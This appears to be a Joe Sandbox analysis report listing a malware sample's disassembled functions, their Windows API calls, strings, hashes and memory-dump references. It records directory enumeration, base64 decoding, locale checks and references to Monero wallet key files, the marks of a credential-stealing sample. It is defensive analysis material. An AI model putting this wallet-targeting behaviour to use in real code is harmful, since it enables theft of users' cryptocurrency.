Opcode ID: 24187e5926842584da826835f2236e4cdf51291138d0710d9cabac1e73374b40
Instruction ID: 26ff79fcc37143082bf6cf4daa54e6abd2ef1a29614fbbc36f3004fc117305b4
Opcode Fuzzy Hash: 24187e5926842584da826835f2236e4cdf51291138d0710d9cabac1e73374b40
Instruction Fuzzy Hash: DC1232719101189AEB15FB61CC96AEE7378AF14304F4049DFB10A62091EF7C6F99CFA5

Function 0047DE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0048A740: lstrcpy.KERNEL32(00490E17,00000000), ref: 0048A788

Part of subcall function 0048A9B0: lstrlen.KERNEL32(?,01238FF0,?,\Monero\wallet.keys,00490E17), ref: 0048A9C5
Part of subcall function 0048A9B0: lstrcpy.KERNEL32(00000000), ref: 0048AA04
Part of subcall function 0048A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0048AA12

Part of subcall function 0048A8A0: lstrcpy.KERNEL32(?,00490E17), ref: 0048A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00490C2E), ref: 0047DE5E
StrCmpCA.SHLWAPI(?,004914C8), ref: 0047DEAE
StrCmpCA.SHLWAPI(?,004914CC), ref: 0047DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 0047E3E0
FindClose.KERNEL32(000000FF), ref: 0047E3F2

Strings

\*.*, xrefs: 0047DE26

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: e93dd20e70d6e7c1caff1953c040fe7dc766d5185f2a3e776c6c75ef50aad7fc
Instruction ID: 7d9eba2c5624eb80f3a891cefba344bfbb66d497da41f071a47a7dae5029bdd3
Opcode Fuzzy Hash: e93dd20e70d6e7c1caff1953c040fe7dc766d5185f2a3e776c6c75ef50aad7fc
Instruction Fuzzy Hash: A7F1B0718141189AEB15FB61CC95EEE7338AF14304F5049EFA40A62051EF7C6B9ACF7A

Function 0047DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0048A740: lstrcpy.KERNEL32(00490E17,00000000), ref: 0048A788

Part of subcall function 0048A920: lstrcpy.KERNEL32(00000000,?), ref: 0048A972
Part of subcall function 0048A920: lstrcat.KERNEL32(00000000), ref: 0048A982

Part of subcall function 0048A9B0: lstrlen.KERNEL32(?,01238FF0,?,\Monero\wallet.keys,00490E17), ref: 0048A9C5
Part of subcall function 0048A9B0: lstrcpy.KERNEL32(00000000), ref: 0048AA04
Part of subcall function 0048A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0048AA12

Part of subcall function 0048A8A0: lstrcpy.KERNEL32(?,00490E17), ref: 0048A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004914B0,00490C2A), ref: 0047DAEB
StrCmpCA.SHLWAPI(?,004914B4), ref: 0047DB33
StrCmpCA.SHLWAPI(?,004914B8), ref: 0047DB49
FindNextFileA.KERNEL32(000000FF,?), ref: 0047DDCC
FindClose.KERNEL32(000000FF), ref: 0047DDDE

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 934ab1a227b88e9f8b1a1bc4bf7a4c5bd7370530aaedf2860f1c4338f8769abd
Instruction ID: 5e2304b5bc2c92ff68ec59bc82474d467e8624b4345790d16c4f6722ce7bc2e8
Opcode Fuzzy Hash: 934ab1a227b88e9f8b1a1bc4bf7a4c5bd7370530aaedf2860f1c4338f8769abd
Instruction Fuzzy Hash: 029177729101049BDB14FBB1DC569ED737DAF84304F008A6FF80A96141EE7CAB59CBA6

Function 008470EE Relevance: 12.9, Strings: 9, Instructions: 1656COMMON

Download Yara Rule

Strings

l>S_, xrefs: 008474F6
[9Ss, xrefs: 00847C25
1&?>, xrefs: 00847E10
v_S, xrefs: 00847136
ig', xrefs: 00847965
"r5, xrefs: 008473B3
r}}, xrefs: 00847C4F
hg', xrefs: 00847960
*G>~, xrefs: 008480AF

Memory Dump Source

Source File: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID:
String ID: r}}$"r5$*G>~$1&?>$[9Ss$hg'$ig'$l>S_$v_S
API String ID: 0-1819126714
Opcode ID: 3297d4f9e53efa9b72719e3b2bdc64bc9b1eb75392b2249e68bdde02c1dcc8a5
Instruction ID: 0b98295f8a1d1a48463764b790017cc5183e6dedd1c54c8edc5d458bb3d1741d
Opcode Fuzzy Hash: 3297d4f9e53efa9b72719e3b2bdc64bc9b1eb75392b2249e68bdde02c1dcc8a5
Instruction Fuzzy Hash: 65B225F360C6049FE3046E2DEC8567ABBE5EF84320F16893DEAC5C7744EA3598418697

Function 00487B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0048A740: lstrcpy.KERNEL32(00490E17,00000000), ref: 0048A788

GetKeyboardLayoutList.USER32(00000000,00000000,004905AF), ref: 00487BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00487BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00487C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00487C62
LocalFree.KERNEL32(00000000), ref: 00487D22

Strings

/ , xrefs: 00487C7F

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: b443847c6f64ad037cfc24f6a5968467a3fdc156fd0151f39d102eb4382ebc08
Instruction ID: 90eb398c0de0dc9a64c2feb4b37dce4eb933fa3f34ffc50af2ed5d1adba31179
Opcode Fuzzy Hash: b443847c6f64ad037cfc24f6a5968467a3fdc156fd0151f39d102eb4382ebc08
Instruction Fuzzy Hash: D9417271900118ABDB24EF94DC99BEEB374FF44704F2045DAE00962180DB786F85CFA5

Function 0047E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0048A740: lstrcpy.KERNEL32(00490E17,00000000), ref: 0048A788

Part of subcall function 0048A920: lstrcpy.KERNEL32(00000000,?), ref: 0048A972
Part of subcall function 0048A920: lstrcat.KERNEL32(00000000), ref: 0048A982

Part of subcall function 0048A9B0: lstrlen.KERNEL32(?,01238FF0,?,\Monero\wallet.keys,00490E17), ref: 0048A9C5
Part of subcall function 0048A9B0: lstrcpy.KERNEL32(00000000), ref: 0048AA04
Part of subcall function 0048A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0048AA12

Part of subcall function 0048A8A0: lstrcpy.KERNEL32(?,00490E17), ref: 0048A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00490D73), ref: 0047E4A2
StrCmpCA.SHLWAPI(?,004914F8), ref: 0047E4F2
StrCmpCA.SHLWAPI(?,004914FC), ref: 0047E508
FindNextFileA.KERNEL32(000000FF,?), ref: 0047EBDF

Strings

\*.*, xrefs: 0047E44D

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 16f2f1ec1e466b6f2f14e8cafef8873ff524f7dbf39a155ce1a56aae2b58604a
Instruction ID: e152044c96f9c27055d3efb76722edf6ffdbaccc2db2207c56d7c8e9ad6cc483
Opcode Fuzzy Hash: 16f2f1ec1e466b6f2f14e8cafef8873ff524f7dbf39a155ce1a56aae2b58604a
Instruction Fuzzy Hash: 2E1274719001189AEB14FB61DC96EED7338AF54304F4049AFB50A62091EF7C6F59CFAA

Function 00843AFE Relevance: 9.2, Strings: 6, Instructions: 1650COMMON

Download Yara Rule

Strings

K0o, xrefs: 00843E7E
5P^~, xrefs: 00844AB8
1u/, xrefs: 0084472C
3T}, xrefs: 008448AA
/jgo, xrefs: 00843B1D
Pg~, xrefs: 0084451F

Memory Dump Source

Source File: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Pg~$/jgo$1u/$3T}$5P^~$K0o
API String ID: 0-49670031
Opcode ID: 255c91b3c45fc85ad9912353b137cad5d200a4c18ae6276bd11e5b9d4fcd035f
Instruction ID: d82538009dd95d882e8e222ba276ea41b4be6f6e2d4750e8709586dc9d2649b4
Opcode Fuzzy Hash: 255c91b3c45fc85ad9912353b137cad5d200a4c18ae6276bd11e5b9d4fcd035f
Instruction Fuzzy Hash: 34B206F360C2049FE304BE29EC8577ABBE9EF94720F16893DE6C5C7744EA3558018696

Function 00479AC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,NG,00000000,00000000), ref: 00479AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00474EEE,00000000,?), ref: 00479B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,NG,00000000,00000000), ref: 00479B2A
LocalFree.KERNEL32(?,?,?,?,00474EEE,00000000,?), ref: 00479B3F

Strings

NG, xrefs: 00479AD4, 00479AE1, 00479AF9, 00479B18, 00479AE4, 00479B1B

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: NG
API String ID: 4291131564-1651712548
Opcode ID: 76f8ebf436b228a16595d696de2467162ac68d1a1212a1c20533ab858e029016
Instruction ID: 4926eff5244f52d61585f180d721c3ba143e8e50fe3a641a7a5e34c8d0794340
Opcode Fuzzy Hash: 76f8ebf436b228a16595d696de2467162ac68d1a1212a1c20533ab858e029016
Instruction Fuzzy Hash: 4B11A4B4240308AFEB10CFA4DC95FAA77B5FB89700F208159FA199B390C775A941CB94

Function 0083E98A Relevance: 7.9, Strings: 5, Instructions: 1652COMMON

Download Yara Rule

Strings

_Fsw, xrefs: 0083F02E
[>FR, xrefs: 0083F905
~*&, xrefs: 0083F989
E}{, xrefs: 0083F55D
AMz7, xrefs: 0083F6BB

Memory Dump Source

Source File: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID:
String ID: AMz7$E}{$[>FR$_Fsw$~*&
API String ID: 0-950904821
Opcode ID: 051e973b3d7aca4181425186249e9a32f6d9f836d04c14f5cf37406ab6cefd8f
Instruction ID: 25e0746759313f86c7d2f5b3ed7b6a33a87638242c428fb3787c19451d89b932
Opcode Fuzzy Hash: 051e973b3d7aca4181425186249e9a32f6d9f836d04c14f5cf37406ab6cefd8f
Instruction Fuzzy Hash: 7DB2F9F36082049FE304AE2DEC8567AB7E9EFD4720F1A493DEAC4C3744E63599058697

Function 0083B631 Relevance: 7.8, Strings: 5, Instructions: 1574COMMON

Download Yara Rule

Strings

ox~G, xrefs: 0083B7AF
^*_, xrefs: 0083C5D9
A?, xrefs: 0083BE62
Zw, xrefs: 0083C459
Q<[, xrefs: 0083C24A

Memory Dump Source

Source File: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID:
String ID: A?$Q<[$Zw$^*_$ox~G
API String ID: 0-1371497916
Opcode ID: 45f7c82e0fece7b283e7a2ac59a91ecf315e16a8a1a1a37cb502dfa33b6c42f6
Instruction ID: b8a79fba08bd617a0f79415426ac6dda59abed1a0c1579d7c701f1560f8730fa
Opcode Fuzzy Hash: 45f7c82e0fece7b283e7a2ac59a91ecf315e16a8a1a1a37cb502dfa33b6c42f6
Instruction Fuzzy Hash: 59A227F36082009FE304AE2DDC8567ABBE9EFD4720F16493DEAC4C7744E63598158697

Function 0084056C Relevance: 7.8, Strings: 5, Instructions: 1573COMMON

Download Yara Rule

Strings

}|8o, xrefs: 008409CA
zvu, xrefs: 0084145E
an}, xrefs: 008417E0
.Yw*, xrefs: 0084184F
9o>, xrefs: 008413B0

Memory Dump Source

Source File: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID:
String ID: .Yw*$an}$zvu$}|8o$9o>
API String ID: 0-3365920127
Opcode ID: bfe184f37079de0c13e7d02b052e7dc81664364815015e75d6da8ee1911b4338
Instruction ID: 6ad5ab40fc248e5db47375db69199737336e3cbc6e9cbf8c67767dd4d057db96
Opcode Fuzzy Hash: bfe184f37079de0c13e7d02b052e7dc81664364815015e75d6da8ee1911b4338
Instruction Fuzzy Hash: C7B208F3A082049FD304AE2DEC8567ABBE5EF94720F1A453DEAC4C7744EA3598048797

Function 0047C820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0047C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0047C87C
lstrcat.KERNEL32(?,00490B46), ref: 0047C943
lstrcat.KERNEL32(?,00490B47), ref: 0047C957
lstrcat.KERNEL32(?,00490B4E), ref: 0047C978

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
